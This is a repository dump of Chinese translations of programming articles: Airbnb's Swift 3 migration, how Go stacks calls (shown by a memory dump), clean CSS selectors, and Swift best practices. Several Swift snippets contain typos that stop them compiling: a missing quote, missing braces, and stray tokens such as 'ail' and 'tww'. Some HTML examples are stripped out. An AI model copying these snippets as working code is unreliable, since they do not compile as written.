初始化枚举的时候,匹配到了一个枚举的名字。如果你更改了枚举的名字,那你很有可能破坏某些地方的初始化代码。你可能会出于“完成工作”的目的,把一些枚举小写,但是这么做的前提是,你有足够的信心,不会破坏某些基于 `String` 的初始化。 #### 三方库 API 的改变 #### 和大多数应用一样,我们也依赖了一些三方库。迁移过程需要更新任何用 Swift 编写的三方库。这看上去显而易见,但是仍然值得一提:仔细的阅读发布说明,尤其是你依赖的已经有一个重大版本更改(这可能发生在语言的版本更改的时候)。这帮助我们发现了一些难以发现的 API 更改,编译器做不到这一点。 ### 下一步 ### 哇!我们的 `master` 分支现在是 Swift 3 了,Swift 2 没有新开发的功能,所有的迁移工作已经完成了,是这样么? 好吧,不全是。就像前面提到的,在代码转换过程中,我们只做了 Swift 2 和 Swift 3 之间最“表面”的转换。这代表我们还没利用上 Swift 3 的新特性和安全性。 在持续更新的基础上,我们会寻找一些潜在的改进。 #### 更精细的访问控制 #### 默认情况下,Xcode 代码转换工具将 `private` 访问控制符改为 `fileprivate`,`public` 改为 `open`。这代表着一个“表面”的转换,保证代码能继续像以前一样工作。 然而,它也错过了一个机会,来让开发者思考新的 `private` 和 `public` 行为是否能*更好*的工作。下一步是重新查看访问控制符的转换的实例,并检查我们是否可以利用 Swift 3 新增的表达式,来提供更精细的控制。 #### Swift 3 方法命名 #### 在手动转换代码的时候(在 Xcode 转换工具不好使,或者重组的时候),我们经常“表面”的修改方法名字,来让调用会正确的进行。采用 Swift 2.3 的方法签名,像这样: ``` func incrementCounter(counter: Counter, atIndex index: Int) ``` 为了做出最少的改动、最快的修改,能让代码再次 Swift 3 上编译,我们把代码改成了这样: ``` func incrementCounter(_ counter: Counter, atIndex index: Int) ``` 尽管,一个更 “Swift 3” 的写法是这样的: ``` func increment(_ counter: Counter, at index: Int) ``` 下一步工作就是找出快捷命名的变量,然后更新方法签名,来更好地跟随 Swift 3 的转变。 #### 更安全的使用隐式解包 #### 如同前面展示的,我么应对新的 Objective-C 闭包参数的做法是转换成自动拆包的可选变量,这避免了更新闭包中的大量代码。而我们现在应该做的是,适当的处理闭包中参数可能是 `nil` 的情况。 #### 修复 ⚠️ #### 为了让代码全速的转换,我们最终忽略了一堆不是特别重要的编译警告,在未来,我们会意识到必须要让警告数量减少。 ### 结论 ### 由于 Airbnb 对 Swift 很期待,并且是早期的使用者,我们积累了大量的 Swift 代码。 迁移到 Swift 3 的展望似乎令人望而生畏,并且我们不清楚将如何进行或者说迁移后会对我们的应用造成怎样的影响。如果你还没有决定将你的代码转换为 Swift 3,我们希望我们的经验对你的困惑有一些帮助。 最后,如果你对使用最新的移动技术(比如 Swift 3)来帮助他人感兴趣,[我们正在招聘](https://www.airbnb.com/careers/departments/engineering) ================================================ FILE: TODO/go-function-calls-redux.md ================================================ > * 原文地址:[Go Function Calls Redux](https://hackernoon.com/go-function-calls-redux-609fdd1c90fd#.jsh5r78wp) > * 原文作者:[Phil Pearl](https://hackernoon.com/@philpearl?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[xiaoyusilen](http://xiaoyu.world) > * 校对者:[1992chenlu](https://github.com/1992chenlu),[Zheaoli](https://github.com/Zheaoli) # Go 函数调用 Redux # 前段时间在一篇[文章](https://syslog.ravelin.com/anatomy-of-a-function-call-in-go-f6fc81b80ecc#.gpqsgzmjc)中我答应写一篇进一步分析 Go 中如何进行函数调用和堆栈调用在 Go 中如何工作的文章。现在我找到了一种简洁的方式来向大家展示上述内容,所以有了现在这篇文章。 什么是堆栈调用?它是一个用于保存局部变量和调用参数的内存区域,并且跟踪每个函数应该返回到哪里去。每个 goroutine 都有它自己的堆栈。你甚至可以说每个 goroutine 就是它自己的堆栈。 下面是我用于演示堆栈的代码。就是一系列简单的函数调用,main() 函数调用 [f1(0xdeadbeef)](https://en.wikipedia.org/wiki/Hexspeak),然后调用 `f2(0xabad1dea)`,再调用 `f3(0xbaddcafe)`。然后 `f3()` 将其中一个作为它的参数,并且将它存储在名为 `local` 的本地变量中。然后获取 `local` 的内存地址并且从那里开始输出。因为 `local` 在栈内,所以输出的就是栈。 ```go package main import ( "fmt" "runtime" "unsafe" ) func main() { f1(0xdeadbeef) } func f1(val int) { f2(0xabad1dea) } func f2(val int) { f3(0xbaddcafe) } func f3(val int) { local := val + 1 display(uintptr(unsafe.Pointer(&local))) } func display(ptr uintptr) { mem := *(*[20]uintptr)(unsafe.Pointer(ptr)) for i, x := range mem { fmt.Printf("%X: %X\n", ptr+uintptr(i*8), x) } showFunc(mem[2]) showFunc(mem[5]) showFunc(mem[8]) showFunc(mem[11]) } func showFunc(at uintptr) { if f := runtime.FuncForPC(at); f != nil { file, line := f.FileLine(at) fmt.Printf("%X is %s %s %d\n", at, f.Name(), file, line) } } ``` 下面是上述代码的输出结果。它是从 `local` 的地址开始的内存转储,是以十六进制形式展示的 8 字节列表。左边是每个整数的存储地址,右边是地址内存储的整数。 我们知道 `local` 应该等于 0xBADDCAFE + 1,或者 0xBADDCAFF,这确实是我们转储开始时看到的。 ``` C42003FF28: BADDCAFF C42003FF30: C42003FF48 C42003FF38: 1088BEB C42003FF40: BADDCAFE C42003FF48: C42003FF60 C42003FF50: 1088BAB C42003FF58: ABAD1DEA C42003FF60: C42003FF78 C42003FF68: 1088B6B C42003FF70: DEADBEEF C42003FF78: C42003FFD0 C42003FF80: 102752A C42003FF88: C420064000 C42003FF90: 0 C42003FF98: C420064000 C42003FFA0: 0 C42003FFA8: 0 C42003FFB0: 0 C42003FFB8: 0 C42003FFC0: C4200001A0 1088BEB is main.f2 /Users/phil/go/src/github.com/philpearl/stack/main.go 19 1088BAB is main.f1 /Users/phil/go/src/github.com/philpearl/stack/main.go 15 1088B6B is main.main /Users/phil/go/src/github.com/philpearl/stack/main.go 11 102752A is runtime.main /usr/local/Cellar/go/1.8/libexec/src/runtime/proc.go 194 ``` - 下一个数字是 0xC42003FF48,它是转储的第五行的地址。 - 然后我们可以得到 0x1088BEB。事实上这是一个可执行代码的地址,如果我们将它作为 `runtime.FuncForPC` 的参数,我们知道它是 main.go 的第19行代码的地址,也是 f2() 的最后一行代码。这是 f3() 返回时我们得到的地址。 - 接下来我们得到 0xBADDCAFE,这是我们调用 `f3()` 时的参数。 如果继续我们将看到类似上面的输出结果。下面我已经标记了内存转储,显示堆栈指针如何跟踪转储,参数和返回地址在哪里。 ```go C42003FF28: BADDCAFF Local variable in f3() +-C42003FF30: C42003FF48 | C42003FF38: 1088BEB return to f2() main.go line 19 | C42003FF40: BADDCAFE f3() parameter +-C42003FF48: C42003FF60 | C42003FF50: 1088BAB return to f1() main.go line 15 | C42003FF58: ABAD1DEA f2() parameter +-C42003FF60: C42003FF78 | C42003FF68: 1088B6B return to main() main.go line 11 | C42003FF70: DEADBEEF f1() parameter +-C42003FF78: C42003FFD0 C42003FF80: 102752A return to runtime.main() ``` 通过这些我们可以看出: - 首先,堆栈从高地址开始,堆栈地址随着函数调用变小。 - 当进行函数调用时,调用者将参数放入栈内,然后是返回地址(调用函数中的下一条指令的地址),接着是指向堆栈中较高的指针。 - 当调用返回时,这个指针用于在堆栈中查找先前调用的函数。 - 局部变量存储在堆栈指针之后。 我们可以使用相同的技巧来分析一些稍微复杂的函数调用。这次,我添加了更多的参数,`f2()` 函数也返回了更多的值。 ```go package main import ( "fmt" "runtime" "unsafe" ) func main() { f1(0xdeadbeef) } func f1(val int) { f2(0xabad1dea0001, 0xabad1dea0002) } func f2(val1, val2 int) (r1, r2 int) { f3(0xbaddcafe) return } func f3(val int) { local := val + 1 display(uintptr(unsafe.Pointer(&local))) } ``` 这次我们直接看被我标记好的输出结果。 ```go C42003FF10: BADDCAFF local variable in f3() +-C42003FF18: C42003FF30 | C42003FF20: 1088BFB return to f2() | C42003FF28: BADDCAFE f3() parameter +-C42003FF30: C42003FF60 | C42003FF38: 1088BBF return to f1() | C42003FF40: ABAD1DEA0001 f2() first parameter | C42003FF48: ABAD1DEA0002 f2() second parameter | C42003FF50: 110A100 space for f2() return value | C42003FF58: C42000E240 space for f2() return value +-C42003FF60: C42003FF78 | C42003FF68: 1088B6B return to main() | C42003FF70: DEADBEEF f1() parameter +-C42003FF78: C42003FFD0 C42003FF80: 102752A return to runtime.main() ``` 从结果中我们可以看出: - 调用函数在函数参数之前为被调用函数的返回值提供空间。(注意这些值是没有初始化的,因为这个函数还没有返回!) - 参数在栈内的顺序与入栈顺序相反。 希望我都讲清楚了。既然你已经看到这儿了,如果喜欢我的这篇文章或者可以从中学到一点什么的话,那么请给我点个赞。不然我就没办法获得积分。 **Phil 白天在 [ravelin.com](https://ravelin.com) 的工作主要是防止网上欺诈,你可以加入他 https://angel.co/ravelin/jobs。** ================================================ FILE: TODO/golden-guidelines-for-writing-clean-css.md ================================================ > * 原文地址:[Golden Guidelines for Writing Clean CSS](https://www.sitepoint.com/golden-guidelines-for-writing-clean-css/) > * 原文作者:本文已获作者 [Tiffany Brown](https://www.sitepoint.com/author/tbrown/) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[reid3290](https://github.com/reid3290) > * 校对者:[weapon-xx](https://github.com/weapon-xx),[bambooom](https://github.com/bambooom) --- # 编写整洁 CSS 代码的黄金法则 ### 编写整洁 CSS 代码的黄金法则 要编写整洁的 CSS 代码,有一些规则是应当极力遵守的,这有助于写出轻量可复用的代码: - 避免使用全局选择器和元素选择器 - 避免使用权重(specific)过高的选择器 - 使用语义化类名 - 避免 CSS 和标签结构的紧耦合 本文将依次阐述上述规则。 ### 避免使用全局选择器 全局选择器包括通配选择器(`*`)、元素选择器(例如`p`、`button`、`h1`等)和属性选择器(例如`[type=checkbox]`),这些选择器下的 CSS 属性会被应用到全站所有符合要求的元素上,例如: ``` button { background: #FFC107; border: 1px outset #FF9800; display: block; font: bold 16px / 1.5 sans-serif; margin: 1rem auto; width: 50%; padding: .5rem; } ``` 这段代码看似无伤大雅,但如果我们需要一个样式不同的 `button` 呢?假设需要一个用于关闭对话框组件的 `.close` button: ```
      ``` ##### 注意: 为什么不使用 `dialog` 元素? ##### 此处使用了 `section` 元素而非 `dialog`,因为只有基于 Blink 内核的浏览器才支持 `dialog` 元素, 例如 Chrome/Chromium、Opera、和 Yandex 等。 现在,需要编写 CSS 代码来覆盖那些不需要继承于 `.button` 的属性: ``` .close { background: #e00; border: 2px solid #fff; color: #fff; display: inline-block; margin: 0; font-size: 12px; font-weight: normal; line-height: 1; padding: 5px; border-radius: 100px; width: auto; } ``` 除此之外,还需要编写大量类似代码来覆盖浏览器的默认样式。但如果将元素选择器 `button` 用类选择器 `.default` 来替代会如何呢?显而易见,`.close` 不再需要指定`display`、`font-weight`、 `line-height`、`margin`、 `padding`和`width`等属性,这便减少了 23% 的代码量: ``` .default { background: #FFC107; border: 1px outset #FF9800; display: block; font: bold 16px / 1.5 sans-serif; margin: 1rem auto; width: 50%; padding: .5rem; } .close { background: #e00; border: 2px solid #fff; color: #fff; font-size: 12px; padding: 5px; border-radius: 100px; } ``` 还有一点同样重要:避免使用全局选择器有助于减少样式冲突,即某个模块(或页面)的样式不会意外地影响到另一个模块(或页面)的样式。 对于重置和统一浏览器默认样式,全局选择器完全适用;但对于其他大部分情况而言,全局选择器只会造成代码臃肿。 ### 避免使用权重过高的选择器 保持选择器的低权重是编写轻量级、可复用和可维护的 CSS 代码的又一关键所在。你可能记得什么是权重,元素选择器的权重是 `0,0,1`,而类选择器的权重则是 `0,1,0`: ``` /* 权重:0,0,1 */ p { color: #222; font-size: 12px; } /* 特殊性:0,1,0 */ .error { color: #a00; } ``` 当为元素选择器加上一个类名后,该选择器的优先级就会高于一般的选择器。没有必要将类选择器和元素选择器组合在一起来提升优先级,这样做会提升选择器的权重和增加文件体积。 换句话说,没有必要使用 `p.error` 这样的选择器,因为仅仅一个 `.error` 就能达到同样的效果;此外 `.error` 还可以被其他元素所复用,而 `p.error` 则会将 `.error` 这个类限制于 `p` 元素上。 #### 避免链接类选择器 还需要避免链接类选择器。形如 `.message.warning` 这样的选择器权重为 `0,2,0`。越高的权重意味着越难进行样式覆盖,而且这种链接还会造成其他副作用。例如: ``` message { background: #eee; border: 2px solid #333; border-radius: 1em; padding: 1em; } .message.error { background: #f30; color: #fff; } .error { background: #ff0; border-color: #fc0; } ``` 如下图所示,在上述 CSS 的作用下,`

      ` 会得到一个带有深灰色边框和灰色背景的盒子。 ![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/03/1489119564SelectorChainingNoChain.png) 但 `

      ` 却会得到 `.message.error` 的背景和 `.error` 的边框: ![](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/03/1489119684SelectorChaining.png) 要想覆盖链接在一起的类选择器的样式,只能使用权重更高的选择器。在上例中,要想让边框不是黄色就需要在已有选择器上再加一个类名或一个标签选择器: `.message.warning.exception` 或 `div.message.warning`。更好的做法是创建一个新类。如果你发现你正在链接选择器,那就该回过头重新考量了:要么是设计上存在不一致的地方,要么就是过早尝试避免那些尚不存在的问题。解决这些问题将会带来更高的可维护性和可复用性。 #### 避免使用 `id` 选择器 在一个 HTML 文档中一个 `id` 只能对应一个元素,因此应用于 `id` 选择器的 CSS 规则是很难复用的。这样做一般都会涉及到一系列的 `id` 选择器,例如 `#sidebar-features` 和 `#sidebar-sports`。 此外,`id` 选择器具有很高的权重,要想覆盖它们就必须使用更“长”的选择器。例如下面这段 CSS 代码,为了覆盖 `#sidebar` 的背景颜色属性,必须使用 `#sidebar.sports` 和 `#sidebar.local`: ``` #sidebar { float: right; width: 25%; background: #eee; } #sidebar.sports { background: #d5e3ff; } #sidebar.local { background: #ffcccc; } ``` 改用类选择器,例如 `.sidebar`,可以简化 CSS 选择器: ``` sidebar { float: right; width: 25%; background: #eee; } .sports { background: #d5e3ff; } .local { background: #ffcccc; } ``` `.sports` 和 `.local` 不仅节省了好几个字节,还可以复用到其他元素上。 使用属性选择器(例如 `[id=sidebar]`)可以解决 `id` 选择器高权重的问题,尽管其复用性不如类选择器,但其低权重可以让我们避免使用链式选择器。 ##### 注意: `id` 选择器的高权重也确有用武之地 在某些情况下,你可能确实需要 `id` 选择器的高特殊性。例如,一些媒体站点可能需要其所有子站都使用同样的导航条组件,该组件必须在所有站点都表现一致并且其样式是难以被覆盖的。此时,使用 `id` 选择器就可以减少导航条样式被意外覆盖的情况。 最后,再来讨论一下形如 `#main article.sports table#stats tr:nth-child(even) td:last-child` 这样的选择器。这条选择器不仅长的离谱,而且其权重为 `2,3,4`,也很难复用。试想 HTML 中会有多少标签真能匹配这一选择器呢?稍作思考,就可以将上述选择器其缩减为 `#stats tr:nth-child(even) td:last-child`,其权重也足够满足需求了。但还有更好的方法既能提高复用性又能减少代码量,也就是使用类选择器。 ##### 注意:预处理器嵌套综合症 权重过高的选择器大多源于预处理器中过多的嵌套(译注:此处所指应是 Sass 中选择器嵌套过深)。 #### 使用语义化类名 所谓**语义化**,是指要**有意义** —— 类名应当能够表明其规则有何作用或会作用于哪些内容。此外类名也要能够适应 UI 需求的变化。命名看似简单,实则不然。 例如,不要使用 `.red-text`、`.blue-button`、 `.border-4px` 和 `.margin10px` 这样的类名,这些类名和当前的设计耦合得太紧了。用 `class="red-text"` 来修饰错误信息看似可行,但如果设计稿发生了变化并要求将错误信息用橙底黑字表示呢?这时原有类名就不准确了,使人难以理解代码的真正含义。 在这个例子中,最好使用 `.alert`、`.error` 或是 `.message-error` 这样的类名,这些类名表明了该如何使用它们以及它们会影响哪些内容(即错误信息)。对用于页面布局的类名,不妨加上 `layout-`、 `grid-`、 `col-` 或 `l-` 等前缀,使人一眼可以看出它们的作用。之后关于 BEM 方法论的章节详细阐述了这一过程。 #### 避免 CSS 和标签结构的紧耦合 你可能在代码中使用过子元素选择器和后代选择器。子元素选择器形如 `E > F`,其中 F 是某个元素,而 E 是 F 的**直接**父元素。例如,`article > h1` 会影响 `

      Advanced CSS

      ` 中的 `h1` 元素,但不会影响 `

      Advanced CSS

      ` 中的 `h1` 元素。另一方面,后代选择器形如 `E F`,其中 F 是某个元素而 E 是 F 的祖先元素。还用上述例子,则那两种标签结构中的 `h1` 元素都会受到 `article h1` 的影响。 子元素选择器和后代选择器本身并没有问题,实际上它们在限制 CSS 规则的作用域方面确实发挥着很好的作用。但它们也绝非理想之选,因为标签结构经常会发生改变。 遇到过如下情况的同学请举手:你为某个客户编写了一些模版,并且在 CSS 代码中用到了子元素选择器和后代选择器,并且大多数都是元素选择器,即形如 `.promo > h2` 和 `.media h3` 这样的选择器;后来你的客户又聘请了一位 SEO 技术顾问,他检查了你代码中的标签结构并建议你将 `h2` 和 `h3` 分别改为 `h1` 和 `h2`,这时候问题来了 —— 你必须同时修改 CSS 代码。 在上述情况下,类选择器再一次表现出其优点。使用 `.promo > .headline` 或 `.media .title` (或者更简单一些: `.promo-headline` 和 `.media-title`)使得在改变标签结构的时候无需改变 CSS 代码。 当然,这条规则假设你对标签结构有足够的控制权,这在面对一些遗留的 CMS 系统的时候可能是不现实的,在这种情况下使用子元素选择器、后代选择器和伪类选择器是适当的同时也是必要的。 ##### PS:更多架构合理的 CSS 规则 Philip Walton 在其 [“CSS 架构”](http://philipwalton.com/articles/css-architecture/)一文中讨论了相关规则,有关 CSS 架构的更多想法参见 Roberts 的网站 [CSS 原则](http://cssguidelin.es/) 以及 Nicolas Gallagher 的博客文章 [HTML 语义化及前端架构](http://nicolasgallagher.com/about-html-semantics-front-end-architecture/)。 接下来将会探讨有关 CSS 架构的两种方法,这两种方法主要用于提升大规模团队和大规模站点的开发效率,但对于小团队来说其实也是十分适用的。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/good-swift-bad-swift-part-1.md ================================================ >* 原文链接 : [Good Swift, Bad Swift — Part 1](https://medium.com/@ksmandersen/good-swift-bad-swift-part-1-f58f71da3575) * 原文作者 : [Kristian Andersen](https://medium.com/@ksmandersen) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [达仔](https://github.com/zhangjd) * 校对者: [Nicolas(Yifei) Li](https://github.com/yifili09)、[Jack King](https://github.com/Jack-Kingdom) # 好的与坏的,Swift 语言面面观(一) 在 WWDC 2014(苹果 2014 年开发者大会)发布的 Swift 编程语言,大约在一周内将迎来它的两周岁生日(译注:WWDC 2014 的时间是 2014-6-3)。当时听到这个消息,我们在工作室里兴奋地跳了起来,并从此投入到了 Swift 的怀抱。然而两年时间过去了,我依然在苦苦思索着怎样写出好的 Swift 代码。要知道 Objective-C 已经快有三十年历史了,我们都已经摸索出 Objective-C 的最佳实践,以及什么是好或坏的 Objective-C 代码,然而 Swift 还很年轻。 在这一系列的文章里,我将尝试提炼出我认为的 Swift 语言中好与不好的部分。诚然我不是这方面的专家,我只是希望抛砖引玉,分享我对这个问题的思考,并激励其它开发者(没错就是你)表达自己的见解。如果你对此有任何想法、批评,或者对于好代码的看法,可以在原文下面留言,或者 [在 Twitter 上联系我](http://twitter.com/ksmandersen)。 让我们进入正题。 ### 使用枚举类型(Enums)避免代码中的字符串输入错误 我早已无法数清我有多少次犯下了同一种错误:花费大量时间在寻找字符串拼写错误导致的各种各样的古怪 bug。枚举类型除了可以帮你节省调试时间外,还可以减少字符输入的时间,因为 XCode 的代码补全功能会推荐定义好的枚举值。 在使用 NSURLSession 的每个项目里,我都包含了下面的代码片段: enum HTTPMethod: String { case GET = "GET" case POST = "POST" case PUT = "PUT" case DELETE = "DELETE } 这是一个非常简单的枚举,我知道大部分的开发者可能都不屑于这么做。然而基于上述原因,我确实是这么使用的。 **更新:** [Tobias Due Munk](https://medium.com/u/82271c72eab3) 指出,你甚至不需要把和键名相同的值字符串写出来,Swift 有更简化的语法。你只需要这样写: enum HTTPMethod: String { case GET, POST, PUT, DELETE } ### 使用访问控制关键词限制内容可访问性 稍等一会儿,还记得 public, private, internal 这都是什么鬼吗?为什么会有一种 Java 既视感?就跟大部分 CS(计算机科学)专业毕业生一样,我也写过 Java 代码,可是我不喜欢这门语言及其生态系统。然而,尽管我不喜欢它,但不得不承认这门语言有着一些明智的设计。如果你正在为其他开发者提供 API,而他们不清楚代码的输入输出,此时你就会明白定义完善且文档清晰的 API 的重要性了。因此,合理地添加权限控制关键词到 API 方法中,可以帮助你的用户更好地理解你的 API “表面积”,并寻找到他们想要调用的接口。当然,你也可以写文档来解释应该使用哪些方法,哪些应该保留下来,但是为什么不通过添加关键词来强制实行呢? 让我感到吃惊的是,我曾经和不少开发者聊过,他们并不喜欢添加权限控制关键词。其实对于 iOS/OS X 开发者而言,权限控制的概念并不新鲜。在 Objective-C 中,我们就把“公有的”接口放在 .h 文件中,而把“私有的”接口放在 .m 文件中。 在写 Swift 代码的过程中,我总是遵循“最严格的”原则,在一开始尽可能先把所有类、结构、枚举以及函数设成私有。如果之后我发现需要一个函数暴露在类外,我才会尝试降低这个限制。通过遵循这一原则,我可以实现最小化 API “表面积”,方便其他开发者调用。 ### 使用泛型避免 UIKit 模板代码 自从 Swift 出现以后,我就一直在代码逻辑中完全实现 view 和 view controller。作为曾经的 Storyboard 重度用户的我,现在发现把所有的属于视图的代码放在一个地方,比起分开放在 XML 文件和几行逻辑代码更加实用。 在编写了大量 view 和 view controller 代码之后,我遇到了一个难题。因为我更喜欢 auto layout,所以我偏向于不使用参数初始化视图(init:frame 是指定构造器)。如果你在 Swift 中,对于任何的 UIKit 类指定一个无参数的构造函数,你就不得不指定一个 init:coder 构造器。这很烦人,为了避免每次创建视图都写这段模板代码,我创建了一个 “泛型视图类(Generic View Class)” ,让所有视图继承这个类而无需继承 UIView。 public class GenericView: UIView { public required init() { super.init(frame: CGRect.zero) configureView() } public required init?(coder: NSCoder) { super.init(coder: coder) configureView() } internal func configureView() {} } 这个类同时也表达出我的另一个编程习惯:创建一个 “configureView” 方法,把所有配置视图的操作,包括添加子视图、约束、调整颜色、字体等,全都放到这个方法中。这样的话,无论什么时候创建视图,我都不需要再写一遍上述的模板代码了。 class AwesomeView: GenericView { override func configureView() { .... } }let awesomeView = AwesomeView() 当你把这个模式配合泛型 view controller 一起使用,效果更佳。 public class GenericViewController<View: GenericView>: UIViewController { internal var contentView: View { return view as! View } public init() { super.init(nibName: nil, bundle: nil) } public required init?(coder: NSCoder) super.init(coder: coder) } public override func loadView() { view = View() } } 现在要给视图创建 view controller 更加简单了。 class AwesomeViewController: GenericViewController<AwesomeView> { override func viewDidLoad() super.viewDidLoad() .... } } 我把这个模式的代码抽离出来,放到了一个 [GitHub repo](https://github.com/ksmandersen/GenericViewKit) 中。这套代码可以配合 Carthage 或者 CocoaPods 作为一套框架使用。 我同意这 4 个基类几乎没实现什么功能,也称不上一套框架。之所以发布这套代码,是因为我觉得对于大部分人来说,这种用法是最容易上手的方式。我觉得你完全可以把这几个类复制粘贴到你的代码当中,我预计不会对这套代码作出很大修改了。 以上就是 Swift 语言面面观系列的第一部分,期待大家更多的想法、批评和建议。欢迎在下面留言,或者 [给我发 Twitter](http://twitter.com/ksmandersen) ================================================ FILE: TODO/good-swift-bad-swift-part-2.md ================================================ >* 原文链接 : [Good Swift, Bad Swift — Part 2](https://medium.com/@ksmandersen/good-swift-bad-swift-part-2-d6daebf53a5) * 原文作者 : [Kristian Andersen](https://medium.com/@ksmandersen) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Zheaoli](https://github.com/Zheaoli) * 校对者: [owenlyn](https://github.com/owenlyn), [yifili09](https://github.com/yifili09) # 好的与坏的,Swift 语言面面观(二) 不久之前,在我写的[好与坏,Swift面面观 Part1](http://gold.xitu.io/entry/578c647a6be3ff006ce49e91)一文中,我介绍了一些关于在 **Swift** 里怎样去写出优秀代码的小技巧。在 **Swift** 发布到现在的两年里,我花费了很长时间去牢牢掌握最佳的实践方法。欲知详情,请看这篇文章:[好与坏,Swift面面观 Part1](https://medium.com/@ksmandersen/good-swift-bad-swift-part-1-f58f71da3575). 在这个系列的文章中,我将尝试提炼出我认为的 **Swift** 语言中好与不好的部分。唔,我也希望在未来有优秀的 **Swift** 来帮助我征服 **Swift** (唔,小伙子,别看了,中央已经决定是你了,快念两句诗吧)。如果你有什么想法,或者想告诉我一点作为开发者的人生经验什么的话,请在 Twitter 上联系我,我的账号是 [ksmandersen](http://twitter.com/ksmandersen)。 好了废话不多说,让我们开始今天的课程吧。 ### `guard` 大法好,入 `guard` 保平安 在 **Swift 2.0** 中, **Swift** 新增了一组让开发者有点陌生的特性。`Guard` 语句在进行[防御性编程](https://en.wikipedia.org/wiki/Defensive_programming)的时候将会起到不小的作用。(译者注1:防御性编程(Defensive programming)是防御式设计的一种具体体现,它是为了保证,对程序的不可预见的使用,不会造成程序功能上的损坏。它可以被看作是为了减少或消除墨菲定律效力的想法。防御式编程主要用于可能被滥用,恶作剧或无意地造成灾难性影响的程序上。来源自wiki百科)。每个 **Objective-C** 开发者可能对防御性编程都不陌生。通过使用这种技术,你可以预先确定你的代码在处理不可预期的输入数据时,不会发生异常。 `Guard` 语句允许你为接下来的代码设定一些条件和规则,当然你也必须钦定当这些条件(或规则)不被满足时要怎么处理。另外,`guard` 语句必须要返回一个值。在早期的 **Swift** 编程中,你可能会使用 `if-else` 语句来对这些情况进行预先处理。但是如果你使用 `guard` 语句的话,编译器会在你没有考虑到某些情况下时帮你对异常数据进行处理。 接下来的例子有点长,但是这是一个非常好的关于 `guard` 作用的实例。 `didPressLogIn` 函数在屏幕上的 `button` 被点击时被调用。我们期望这个函数被调用时,如果程序产生了额外的请求时,不会产生额外的日志。因此,我们需要提前对代码进行一些处理。然后我们需要对日志进行验证。如果这个日志不是我们所需要的,那么我们不在需要发送这段日志。但是更为重要的是,我们需要返回一段可执行语句来确保我们不会发送这段日志。`guard` 将会在我们忘记返回的时候抛出异常。 ~~~Swift @objc func didPressLogIn(sender: AnyObject?) { guard !isPerformingLogIn else { return } isPerformingLogIn = true let email = contentView.formView.emailField.text let password = contentView.formView.passwordField.text guard validateAndShowError(email, password: password) else { isPerformingLogIn = false return } sendLogInRequest(ail, password: password) } ~~~ 当 `let` 和 `guard` 配合使用的时候将会有奇效。下面这个例子中,我们将把请求的结果绑定到一个变量 `user` ,之后通过 `finishSignUp` 方法函数使用(这个变量)。如果 `result.okValue` 为空,那么 `guard` 将会产生作用,如果不为空的话,那么这个值将对 `user` 进行赋值。我们通过利用 `where` 来对 `guard` 进行限制。 ~~~Swift currentRequest?.getValue { [weak self] result in guard let user = result.okValue where result.errorValue == nil else { self?.showRequestError(result.errorValue) self?.isPerformingSignUp = false return } self?.finishSignUp(user) } ~~~ 讲道理 `guard` 非常的强大。唔,如果你还没有使用的话,那么你真应该慎重考虑下了。 ### 在使用 `subviews` 的时候,将声明和配置同时进行。 如前面一系列文章中所提到的,开发 `viwe` 的时候,我比较习惯于用代码生成。因为对 `view` 的配置套路很熟悉,所以在出现布局问题或者配置不当等问题时,我总是能很快的定位出错的地方。 在开发过程中,我发现将不同的配置过程放在一起非常的重要。在我早期的 **Swift** 编程经历中,我通常会声明一个 `configureView` 函数,然后在初始化时将配置过程放在这里。但是在 **Swift** 中我们可以利用 **属性声明代码块** 来配置 `view` (其实我也不知道这玩意儿怎么称呼啦(逃)。 唔,下面这个例子里,有一个包含两个 `subviews` 、 `bestTitleLabel` 、 和 `otherTitleLabel` 的 `AwesomeView` 视图。两个 `subviews` 都在一个地方进行配置。我们将配置过程都整合在 `configureView` 方法中。因此,如果我想去改变一个 `label` 的 `textColor` 属性,我很清楚的知道到哪里去进行修改。 ~~~Swift cclass AwesomeView: GenericView { let bestTitleLabel = UILabel().then { $0.textAlignment = .Center $0.textColor = .purpleColor()tww } let otherTitleLabel = UILabel().then { $0.textAlignment = . $0.textColor = .greenColor() } override func configureView() { super.configureView() addSubview(bestTitleLabel) addSubview(otherTitleLabel) // Configure constraints } } ~~~ 对于上面的代码,我很不喜欢的就是在声明 `label` 时所带的类型标签,然后在代码块里进行初始化并返回值。通过使用[Then](https://github.com/devxoul/Then)这个库,我们可以进行一点微小的改进。你可以利用这个小函数去在你的项目里将代码块与对象的声明进行关联。这样可以减少重复声明。 ~~~Swift class AwesomeView: GenericView { let bestTitleLabel = UILabel().then { $0.textAlignment = .Center $0.textColor = .purpleColor()tww } let otherTitleLabel = UILabel().then { $0.textAlignment = . $0.textColor = .greenColor() } override func configureView() { super.configureView() addSubview(bestTitleLabel) addSubview(otherTitleLabel) // Configure constraints } } ~~~ ### 通过不同访问级别来对类成员进行分类。 唔,对我来讲,最近发生的一件比较重要的事儿就是,我利用一种比较特殊的方法来将类和结构体的成员结合在一起。这是我之前在利用 **Objective-C** 进行开发的时候养成的习惯。我通常将私有方法放置在最下面,然后公共及初始化方法放在中间。然后将属性按照公共属性到私有属性的顺序放置在代码上层。唔,你可以按照下面的结构在组织你的代码。 * 公共属性 * 内联属性 * 私有属性 * 初始化容器 * 公共方法 * 内联方法 * 私有方法 你也可以按照静态/类属性/固定值的方式进行排序。可能不同的人会在此基础上补充一些不同的东西。不过对于我来讲,我无时不刻都在按照上面的方法进行编程。 